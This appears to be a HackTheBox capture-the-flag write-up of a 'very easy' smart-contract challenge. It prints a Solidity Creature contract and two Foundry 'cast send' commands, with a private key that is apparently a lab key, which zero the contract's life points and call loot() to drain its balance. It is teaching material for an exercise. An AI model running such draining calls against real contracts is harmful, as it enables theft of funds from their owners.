HackTheBox: Survival of the Fittest
Survival of the Fittest
Difficulty: Very Easy
Alex had always dreamed of becoming a warrior, but she wasn’t particularly skilled. When the opportunity arose to join a group of seasoned warriors on a quest to a mysterious island filled with real-life monsters, she hesitated. But the thought of facing down fearsome beasts and emerging victorious was too tempting to resist, and she reluctantly agreed to join the group. As they made their way through the dense, overgrown forests of the island, Alex kept her senses sharp, always alert for the slightest sign of danger. But as she crept through the underbrush, sword drawn and ready, she was startled by a sudden movement ahead of her. She froze, heart pounding in her chest as she realized that she was face to face with her first monster.
Initial Analysis
We are provided a simple smart contract called Creature.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Creature {
uint256 public lifePoints;
address public aggro;
constructor() payable {
lifePoints = 20;
}
function strongAttack(uint256 _damage) external{
_dealDamage(_damage);
}
function punch() external {
_dealDamage(1);
}
function loot() external {
require(lifePoints == 0, "Creature is still alive!");
payable(msg.sender).transfer(address(this).balance);
}
function _dealDamage(uint256 _damage) internal {
aggro = msg.sender;
lifePoints -= _damage;
}
}
It creates a Creature that has 20 life points initially. Our goal is to reduce the life points to zero and call the loot
function to drain the contract funds.
There are two functions that deal damage and reduce the target’s life points:
strongAttack(uint256 _damage)
- reduces life points by_damage
amount.punch()
- reduces life points by 1
The internal _dealDamage
function sets the aggro
state variable to the msg.sender and then subtracts from the lifePoints
variable.
The Exploit
We can either call punch()
20 times or call strongAttack()
with a value of 20.
# Call strongAttack and reduce the life points to 0
cast send 0x016a172C6983bc0d033880C08b1B21740Bcb839d "strongAttack(uint256)" 20 -r $RPC_URL --private-key 0x4d38ca33963906838b45500f26813fea88d16b5f1f0805cda84cf971bf3e27ab
# Call loot to drain the funds
cast send 0x016a172C6983bc0d033880C08b1B21740Bcb839d "loot()" -r $RPC_URL --private-key 0x4d38ca33963906838b45500f26813fea88d16b5f1f0805cda84cf971bf3e27ab
That’s all it takes to drain the contract and beat this level!